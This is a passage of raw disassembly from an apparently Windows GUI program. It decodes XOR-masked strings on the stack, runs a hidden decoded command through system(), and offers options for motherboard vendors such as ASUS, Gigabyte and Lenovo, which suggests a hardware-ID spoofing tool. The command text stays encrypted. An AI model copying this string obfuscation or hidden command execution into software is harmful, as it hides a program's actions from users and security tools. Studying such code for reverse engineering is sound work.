lea rcx, [rbp + 0x550]
movaps xmm1, xmm15
call fcn.1400105e0
cmp dword [0x141718ff0], 7
lea rdx, [0x140259fac]
mov r8, rax
sete cl
call fcn.140045b90
test al, al
je 0x140058363
mov dword [0x141718ff0], 7
call fcn.1400215c0
call fcn.140025c40
mov rcx, qword [0x141718fc8]
call fcn.140021520
mov edx, 0xff
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0x1130]
mov r8d, edx
call fcn.14003a610
mov rcx, rax
call fcn.1400427c0
movss xmm1, dword [0x14025d844]
lea rcx, [0x141719288]
mov esi, eax
call fcn.140013860
mov edx, 0xff
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0x1140]
mov r8d, edx
mov edi, eax
call fcn.14003a610
mov rcx, rax
call fcn.1400427c0
movss xmm2, dword [0x14025da30]
lea rcx, [rbp + 0x558]
movss xmm1, dword [0x14025d928]
mov ebx, eax
call fcn.1400105e0
movabs rcx, 0x1a9edca541b99752
mov r9d, edi
mov r8d, ebx
movss xmm2, dword [rax]
movss xmm3, dword [rax + 4]
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x140e1d70ace12b2c
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1d40], rax
movabs rax, 0x23c09d923355ee6b
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1d48], rax
movabs rax, 0xc665b993debe1745
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1d50], rax
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1d58], rax
movabs rax, 0x345d3d328cb40b7f
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1d60], rax
movabs rax, 0x390bddb1307ce28
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1d68], rax
movabs rax, 0xc62b99dcfef73711
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1d70], rax
mov qword [rbp + 0x10], rcx
lea rcx, [rbp + 0x1d40]
mov rax, qword [rbp + 0x10]
unpcklps xmm2, xmm3
mov qword [rbp + 0x1d78], rax
movq rdx, xmm2
vmovdqu ymm0, ymmword [rbp + 0x1d60]
vpxor ymm1, ymm0, ymmword [rbp + 0x1d40]
vmovss xmm0, dword [0x14025d7f0]
vmovss dword [rsp + 0x28], xmm0
mov dword [rsp + 0x20], esi
vmovdqa ymmword [rbp + 0x1d40], ymm1
vzeroupper
call fcn.1400454a0
call fcn.1400215c0
call fcn.140025ae0
call fcn.140021b00
mov rdi, rax
lea rdx, [0x141719288]
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x512f5956cd945b36
mov qword [rbp + 0x10], rax
movabs rax, 0x390bddb133dbd5b
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1150], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0x345d3d328cb40b7f
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1158], rcx
lea rcx, [rbp + 0x1170]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1160], rax
movabs rax, 0x390bddb1307ce28
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1168], rax
movdqa xmm0, xmmword [rbp + 0x1160]
xorps xmm0, xmmword [rbp + 0x1150]
movdqa xmmword [rbp + 0x1150], xmm0
call fcn.1400427b0
mov rcx, rax
call fcn.1400427c0
movss xmm2, dword [0x14025d8fc]
lea rcx, [rbp + 0x560]
movss xmm1, dword [0x14025d928]
mov ebx, eax
call fcn.1400105e0
movss xmm2, dword [0x14025d8c0]
lea rcx, [rbp + 0x1150]
mov rdx, qword [0x141718fd8]
xor esi, esi
mov qword [rsp + 0x40], rsi
mov r9, rax
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140032f10
call fcn.140021b00
mov edx, 0xff
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0x1180]
mov r8d, edx
mov rdi, rax
call fcn.14003a610
mov rcx, rax
call fcn.1400427c0
movss xmm2, dword [0x14025d8fc]
lea rcx, [rbp + 0x568]
movss xmm1, dword [0x14025d96c]
mov ebx, eax
call fcn.1400105e0
movss xmm2, dword [0x14025d8c0]
lea rcx, str.NULL
mov rdx, qword [0x141718fd8]
mov r9, rax
mov qword [rsp + 0x40], rsi
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140032f10
call fcn.140021b00
mov rdi, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x512f5c45e8c66a37
mov qword [rbp + 0x10], rax
lea rdx, [0x141719288]
mov rcx, qword [rbp + 0x10]
movabs rax, 0x65f9c9b576638708
mov qword [rbp + 0x1d80], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0xfc45f6b58a965478
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1d88], rcx
movabs rcx, 0x1a9edca541b99752
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1d90], rax
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1d98], rax
movabs rax, 0x345d3d328cb40b7f
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1da0], rax
movabs rax, 0x390bddb1307ce28
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1da8], rax
movabs rax, 0xc62b99dcfef73711
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1db0], rax
mov qword [rbp + 0x10], rcx
lea rcx, [rbp + 0x1190]
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1db8], rax
vmovdqu ymm0, ymmword [rbp + 0x1da0]
vpxor ymm1, ymm0, ymmword [rbp + 0x1d80]
vmovdqa ymmword [rbp + 0x1d80], ymm1
vzeroupper
call fcn.1400427b0
mov rcx, rax
call fcn.1400427c0
movss xmm2, dword [0x14025d90c]
lea rcx, [rbp + 0x570]
movss xmm1, dword [0x14025d928]
mov ebx, eax
call fcn.1400105e0
movss xmm2, dword [0x14025d8c0]
lea rcx, [rbp + 0x1d80]
mov rdx, qword [0x141718fd8]
mov r9, rax
mov qword [rsp + 0x40], rsi
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140032f10
call fcn.140021b00
mov edx, 0xff
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0x11a0]
mov r8d, edx
mov rdi, rax
call fcn.14003a610
mov rcx, rax
call fcn.1400427c0
movss xmm2, dword [0x14025d90c]
lea rcx, [rbp + 0x578]
movss xmm1, dword [0x14025d9a4]
mov ebx, eax
call fcn.1400105e0
movss xmm2, dword [0x14025d8c0]
lea rcx, str.NULL
mov rdx, qword [0x141718fd8]
mov r9, rax
mov qword [rsp + 0x40], rsi
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140032f10
call fcn.140021b00
mov rdi, rax
lea rdx, [0x141719288]
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0xe384e5ce9d76233
mov qword [rbp + 0x10], rax
movabs rax, 0x390bddb1307ce08
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x11b0], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0x345d3d328cb40b7f
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x11b8], rcx
lea rcx, [rbp + 0x11d0]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x11c0], rax
movabs rax, 0x390bddb1307ce28
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x11c8], rax
movdqa xmm0, xmmword [rbp + 0x11c0]
xorps xmm0, xmmword [rbp + 0x11b0]
movdqa xmmword [rbp + 0x11b0], xmm0
call fcn.1400427b0
mov rcx, rax
call fcn.1400427c0
movss xmm2, dword [0x14025d91c]
lea rcx, [rbp + 0x580]
movss xmm1, dword [0x14025d928]
mov ebx, eax
call fcn.1400105e0
movss xmm2, dword [0x14025d8c0]
lea rcx, [rbp + 0x11b0]
mov rdx, qword [0x141718fd8]
mov r9, rax
mov qword [rsp + 0x40], rsi
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140032f10
call fcn.140021b00
mov edx, 0xff
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0x11e0]
mov r8d, edx
mov rdi, rax
call fcn.14003a610
mov rcx, rax
call fcn.1400427c0
movss xmm2, dword [0x14025d91c]
lea rcx, [rbp + 0x588]
movss xmm1, dword [0x14025d958]
mov ebx, eax
call fcn.1400105e0
movss xmm2, dword [0x14025d8c0]
lea rcx, [0x1417191a0]
mov rdx, qword [0x141718fd8]
mov r9, rax
mov qword [rsp + 0x40], rsi
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140032f10
call fcn.140025c40
jmp 0x140058a27
xor esi, esi
cmp dword [0x141718ff0], 7
jne 0x1400596a3
mov rcx, qword [0x141718fc8]
call fcn.140021520
mov edx, 0xff
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0x11f0]
mov r8d, edx
call fcn.14003a610
mov rcx, rax
call fcn.1400427c0
movss xmm1, dword [0x14025d844]
lea rcx, [0x141719288]
mov esi, eax
call fcn.140013860
mov edx, 0xff
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0x1200]
mov r8d, edx
mov edi, eax
call fcn.14003a610
mov rcx, rax
call fcn.1400427c0
movss xmm1, dword [0x14025d994]
lea rcx, [rbp + 0x590]
movaps xmm2, xmm15
mov ebx, eax
call fcn.1400105e0
mov r9d, edi
lea rcx, [rbp + 0x1210]
mov r8d, ebx
movss xmm1, dword [rax]
movss xmm2, dword [rax + 4]
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x14091d66acf12b2c
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1210], rax
movabs rax, 0x3c39d9c3349ee61
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1218], rax
movabs rax, 0x345d3d328cb40b7f
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1220], rax
movabs rax, 0x390bddb1307ce28
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1228], rax
movdqa xmm0, xmmword [rbp + 0x1220]
xorps xmm0, xmmword [rbp + 0x1210]
movdqa xmmword [rbp + 0x1210], xmm0
movss xmm0, dword [0x14025d7f0]
unpcklps xmm1, xmm2
movss dword [rsp + 0x28], xmm0
movq rdx, xmm1
mov dword [rsp + 0x20], esi
call fcn.1400454a0
call fcn.1400215c0
call fcn.140021b00
mov edx, reloc.WS2_32.dll_recv
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0x1230]
mov r8d, edx
mov rsi, rax
call fcn.14003a610
mov rcx, rax
call fcn.1400427c0
movss xmm2, dword [0x14025da04]
lea rcx, [rbp + 0x598]
movss xmm1, dword [0x14025d918]
mov edi, eax
call fcn.1400105e0
mov rbx, rax
movaps xmm2, xmm14
movaps xmm1, xmm14
lea rcx, [rbp + 0x5a0]
call fcn.1400105e0
mov r9d, edi
mov dword [rsp + 0x28], 0
mov r8, rbx
movss dword [rsp + 0x20], xmm14
mov rdx, rax
mov rcx, rsi
call fcn.140032c50
movaps xmm2, xmm7
lea rcx, [rbp + 0x5a8]
movaps xmm1, xmm7
call fcn.1400105e0
mov rcx, rax
call fcn.1400257f0
call fcn.140025ae0
mov rcx, r14
call fcn.140021520
movaps xmm2, xmm15
lea rcx, [rbp + 0x5b0]
movaps xmm1, xmm15
call fcn.1400105e0
cmp dword [0x141718ff0], 3
lea rdx, [0x140259f9c]
mov r8, rax
sete cl
call fcn.140045b90
test al, al
je 0x140058c66
mov dword [0x141718ff0], 3
movaps xmm2, xmm15
lea rcx, [rbp + 0x5b8]
movaps xmm1, xmm15
call fcn.1400105e0
cmp dword [0x141718ff0], 4
lea rdx, [0x140259fa0]
mov r8, rax
sete cl
call fcn.140045b90
test al, al
je 0x140058ca1
mov dword [0x141718ff0], 4
movaps xmm2, xmm15
lea rcx, [rbp + 0x5c0]
movaps xmm1, xmm15
call fcn.1400105e0
cmp dword [0x141718ff0], 5
lea rdx, [0x140259fa4]
mov r8, rax
sete cl
call fcn.140045b90
test al, al
je 0x140058cdc
mov dword [0x141718ff0], 5
movaps xmm2, xmm15
lea rcx, [rbp + 0x5c8]
movaps xmm1, xmm15
call fcn.1400105e0
cmp dword [0x141718ff0], 6
lea rdx, [0x140259fa8]
mov r8, rax
sete cl
call fcn.140045b90
test al, al
je 0x140058d17
mov dword [0x141718ff0], 6
movaps xmm2, xmm15
lea rcx, [rbp + 0x5d0]
movaps xmm1, xmm15
call fcn.1400105e0
cmp dword [0x141718ff0], 7
lea rdx, [0x140259fac]
mov r8, rax
sete cl
call fcn.140045b90
test al, al
je 0x140058d52
mov dword [0x141718ff0], 7
call fcn.1400215c0
call fcn.140025c40
call fcn.140021b00
mov rdi, rax
mov dword [rsp + 0x20], 0xff
xor eax, eax
mov edx, 0xff
mov byte [rbp], al
mov r9d, edx
mov byte [rbp], al
mov r8d, edx
mov byte [rbp], al
movabs rax, 0x667d5057f8c7722c
mov qword [rbp + 0x10], rax
movabs rax, 0x390bda97a66be4d
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1240], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0x345d3d328cb40b7f
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1248], rcx
lea rcx, [rbp + 0x1260]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1250], rax
movabs rax, 0x390bddb1307ce28
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1258], rax
movdqa xmm0, xmmword [rbp + 0x1250]
xorps xmm0, xmmword [rbp + 0x1240]
movdqa xmmword [rbp + 0x1240], xmm0
call fcn.14003a610
mov rcx, rax
call fcn.1400427c0
movss xmm2, dword [0x14025d8fc]
lea rcx, [rbp + 0x5d8]
movss xmm1, dword [0x14025d928]
mov ebx, eax
call fcn.1400105e0
mov rdx, qword [0x141718fd8]
lea rcx, [rbp + 0x1240]
xor esi, esi
mov r9, rax
mov qword [rsp + 0x40], rsi
movaps xmm2, xmm6
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140032f10
movss xmm2, dword [0x14025d90c]
lea rcx, [rbp + 0x5e0]
movss xmm1, dword [0x14025d928]
call fcn.1400105e0
mov rcx, rax
call fcn.1400257f0
movaps xmm2, xmm14
lea rcx, [rbp + 0x5e8]
movaps xmm1, xmm14
call fcn.1400105e0
mov rdx, rax
movabs rdi, 0x345d3d328cb40b7f
xor eax, eax
movabs rbx, 0x390bddb1307ce28
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x677d4f5bedc46e2d
mov qword [rbp + 0x10], rax
movabs rax, 0x390bdb67673bd51
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1270], rcx
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1278], rcx
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1280], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
lea rcx, [rbp + 0x1270]
mov qword [rbp + 0x1288], rax
movdqa xmm0, xmmword [rbp + 0x1280]
xorps xmm0, xmmword [rbp + 0x1270]
movdqa xmmword [rbp + 0x1270], xmm0
call fcn.140043e50
test al, al
je 0x1400591a1
call qword [sym.imp.KERNEL32.dll_AllocConsole]
xor eax, eax
lea rcx, [rbp + 0x1290]
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x553e4e1dacd76d0c
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1290], rax
movabs rax, 0x390bddb6468a046
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1298], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x12a0], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x12a8], rax
movdqa xmm0, xmmword [rbp + 0x12a0]
xorps xmm0, xmmword [rbp + 0x1290]
movdqa xmmword [rbp + 0x1290], xmm0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x345d3d66def1473e
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x12b0], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x12b8], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x12c0], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x12c8], rax
xor eax, eax
movdqa xmm0, xmmword [rbp + 0x12c0]
xorps xmm0, xmmword [rbp + 0x12b0]
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x677d5057f8c7722c
movdqa xmmword [rbp + 0x12b0], xmm0
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4840], rax
movabs rax, 0x6afed49d3369af4b
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4848], rax
movabs rax, 0xaa7b93f29a925f62
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4850], rax
movabs rax, 0x69fb8e8524caf637
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4858], rax
movabs rax, 0xc311f58ef94c4707
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4860], rax
movabs rax, 0x67fda2475b4fba28
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4868], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x39a0], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x39a8], rax
movabs rax, 0xc62b99dcfef73711
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x39b0], rax
lea r8, [rbp + 0x12b0]
movabs rax, 0x1a9edca541b99752
lea rdx, [rbp + 0x4840]
mov qword [rbp + 0x10], rax
mov r9d, 0x40
mov rax, qword [rbp + 0x10]
xor ecx, ecx
mov qword [rbp + 0x39b8], rax
movabs rax, 0xb068a6ae8d3e2673
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x39c0], rax
movabs rax, 0x67fda2477522df5c
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
movdqa xmm2, xmmword [rbp + 0x4860]
vmovdqu ymm0, ymmword [rbp + 0x39a0]
vpxor ymm1, ymm0, ymmword [rbp + 0x4840]
mov qword [rbp + 0x39c8], rax
vxorps xmm2, xmm2, xmmword [rbp + 0x39c0]
vmovdqa ymmword [rbp + 0x4840], ymm1
vmovdqa xmmword [rbp + 0x4860], xmm2
vzeroupper
call qword [sym.imp.USER32.dll_MessageBoxA]
call qword [sym.imp.KERNEL32.dll_FreeConsole]
call fcn.140021b00
mov rdi, rax
mov dword [rsp + 0x20], 0xff
xor eax, eax
mov edx, 0xff
mov byte [rbp], al
mov r9d, edx
mov byte [rbp], al
mov r8d, edx
mov byte [rbp], al
movabs rax, 0x51305c5cfed1782a
mov qword [rbp + 0x10], rax
movabs rax, 0x390bddb1307ce12
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x12d0], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0x345d3d328cb40b7f
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x12d8], rcx
lea rcx, [rbp + 0x12f0]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x12e0], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0x12d0]
mov qword [rbp + 0x12e8], rax
xorps xmm0, xmmword [rbp + 0x12e0]
movdqa xmmword [rbp + 0x12d0], xmm0
call fcn.14003a610
mov rcx, rax
call fcn.1400427c0
movss xmm2, dword [0x14025d930]
lea rcx, [rbp + 0x5f0]
movss xmm1, dword [0x14025d928]
mov ebx, eax
call fcn.1400105e0
mov rdx, qword [0x141718fd8]
lea rcx, [rbp + 0x12d0]
mov qword [rsp + 0x40], rsi
mov r9, rax
movss dword [rsp + 0x38], xmm14
movaps xmm2, xmm6
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140032f10
call fcn.140021b00
mov r9d, 0xff
mov dword [rsp + 0x20], 0xff
xor r8d, r8d
lea rcx, [rbp + 0x1300]
mov edx, 0x64
mov rdi, rax
call fcn.14003a610
mov rcx, rax
call fcn.1400427c0
movss xmm2, dword [0x14025d930]
lea rcx, [rbp + 0x5f8]
movss xmm1, dword [0x14025d964]
mov ebx, eax
call fcn.1400105e0
mov rdx, qword [0x141718fd8]
lea rcx, [0x141719150]
mov qword [rsp + 0x40], rsi
mov r9, rax
movss dword [rsp + 0x38], xmm14
movaps xmm2, xmm6
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140032f10
movss xmm2, dword [0x14025d948]
lea rcx, [rbp + 0x600]
movss xmm1, dword [0x14025d928]
call fcn.1400105e0
mov rcx, rax
call fcn.1400257f0
movss xmm2, dword [0x14025d8d4]
movss xmm1, dword [0x14025d934]
lea rcx, [rbp + 0x608]
call fcn.1400105e0
mov rdx, rax
mov qword [rsp + 0x38], rsi
xor eax, eax
mov qword [rsp + 0x30], rsi
mov byte [rbp], al
lea r8, [0x141719150]
mov byte [rbp], al
movabs rbx, 0x390bddb1307ce28
mov byte [rbp], al
mov r9d, 0x40
movabs rax, 0x46384e67acc36e31
mov dword [rsp + 0x28], esi
mov qword [rbp + 0x10], rax
movabs rax, 0x390bddb766aaf46
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1310], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0x345d3d328cb40b7f
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1318], rcx
lea rcx, [0x14025a024]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1320], rax
mov qword [rsp + 0x20], rdx
lea rdx, [rbp + 0x1310]
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0x1310]
mov qword [rbp + 0x1328], rax
xorps xmm0, xmmword [rbp + 0x1320]
movdqa xmmword [rbp + 0x1310], xmm0
call fcn.140049410
call fcn.140021b00
mov rdi, rax
lea rdx, [0x141719288]
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x6d7d4951e9d86e2c
mov qword [rbp + 0x10], rax
movabs rax, 0x6be4d2963375bb47
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1dc0], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0xc64febbd91954574
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1dc8], rcx
movabs rcx, 0x1a9edca541b99752
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1dd0], rax
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1dd8], rax
movabs rax, 0x345d3d328cb40b7f
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1de0], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1de8], rax
movabs rax, 0xc62b99dcfef73711
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1df0], rax
mov qword [rbp + 0x10], rcx
lea rcx, [rbp + 0x1330]
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1df8], rax
vmovdqu ymm0, ymmword [rbp + 0x1de0]
vpxor ymm1, ymm0, ymmword [rbp + 0x1dc0]
vmovdqa ymmword [rbp + 0x1dc0], ymm1
vzeroupper
call fcn.1400427b0
mov rcx, rax
call fcn.1400427c0
movss xmm2, dword [0x14025d960]
lea rcx, [rbp + 0x610]
movss xmm1, dword [0x14025d928]
mov ebx, eax
call fcn.1400105e0
movss xmm2, dword [0x14025d8c0]
lea rcx, [rbp + 0x1dc0]
mov rdx, qword [0x141718fd8]
mov r9, rax
mov qword [rsp + 0x40], rsi
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140032f10
movss xmm2, dword [0x14025d974]
lea rcx, [rbp + 0x618]
movss xmm1, dword [0x14025d928]
call fcn.1400105e0
mov rcx, rax
call fcn.1400257f0
call fcn.140025ae0
lea rdx, [0x141719193]
lea rcx, str.ASUS
call fcn.140044e10
lea rdx, [0x141719197]
lea rcx, str.Gigabyte
call fcn.140044e10
lea rdx, [0x141719192]
lea rcx, [0x14025a03c]
call fcn.140044e10
lea rdx, [0x141719190]
lea rcx, str.ASRock
call fcn.140044e10
lea rdx, [0x14171914b]
lea rcx, str.Biostar
call fcn.140044e10
lea rdx, [0x141719195]
lea rcx, str.Intel
call fcn.140044e10
call fcn.140025c40
movss xmm0, dword [0x14025d974]
lea rcx, [rbp + 0x620]
movaps xmm2, xmm0
movaps xmm1, xmm0
call fcn.1400105e0
mov rcx, rax
call fcn.1400257f0
call fcn.140025ae0
lea rdx, [0x141719149]
lea rcx, str.Acer
call fcn.140044e10
lea rdx, [0x141719194]
lea rcx, str.Lenovo
call fcn.140044e10
lea rdx, [0x14171914a]
lea rcx, [0x14025a068]
call fcn.140044e10
lea rdx, [0x141719148]
lea rcx, str.DELL
call fcn.140044e10
lea rdx, [0x141719196]
lea rcx, str.Aorus
call fcn.140044e10
call fcn.140025c40
cmp dword [0x141718ff0], 9
jne 0x14005ab03
call fcn.140021b00
mov edx, reloc.WS2_32.dll_recv
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0x1340]
mov r8d, edx
mov rsi, rax
call fcn.14003a610
mov rcx, rax
call fcn.1400427c0
movss xmm2, dword [0x14025da04]
lea rcx, [rbp + 0x628]
movss xmm1, dword [0x14025d918]
mov edi, eax
call fcn.1400105e0
movaps xmm2, xmm14
lea rcx, [rbp + 0x630]
movaps xmm1, xmm14
mov rbx, rax
call fcn.1400105e0
mov r9d, edi
mov dword [rsp + 0x28], 0
mov r8, rbx
movss dword [rsp + 0x20], xmm14
mov rdx, rax
mov rcx, rsi
call fcn.140032c50
movaps xmm2, xmm7
lea rcx, [rbp + 0x638]
movaps xmm1, xmm7
call fcn.1400105e0
mov rcx, rax
call fcn.1400257f0
call fcn.140025ae0
mov rcx, r14
call fcn.140021520
movaps xmm2, xmm15
lea rcx, [rbp + 0x640]
movaps xmm1, xmm15
call fcn.1400105e0
cmp dword [0x141718ff0], 3
lea rdx, [0x140259f9c]
mov r8, rax
sete cl
call fcn.140045b90
test al, al
je 0x140059796
mov dword [0x141718ff0], 3
movaps xmm2, xmm15
lea rcx, [rbp + 0x648]
movaps xmm1, xmm15
call fcn.1400105e0
cmp dword [0x141718ff0], 4
lea rdx, [0x140259fa0]
mov r8, rax
sete cl
call fcn.140045b90
test al, al
je 0x1400597d1
mov dword [0x141718ff0], 4
movaps xmm2, xmm15
lea rcx, [rbp + 0x650]
movaps xmm1, xmm15
call fcn.1400105e0
cmp dword [0x141718ff0], 5
lea rdx, [0x140259fa4]
mov r8, rax
sete cl
call fcn.140045b90
test al, al
je 0x14005980c
mov dword [0x141718ff0], 5
movaps xmm2, xmm15
lea rcx, [rbp + 0x658]
movaps xmm1, xmm15
call fcn.1400105e0
cmp dword [0x141718ff0], 6
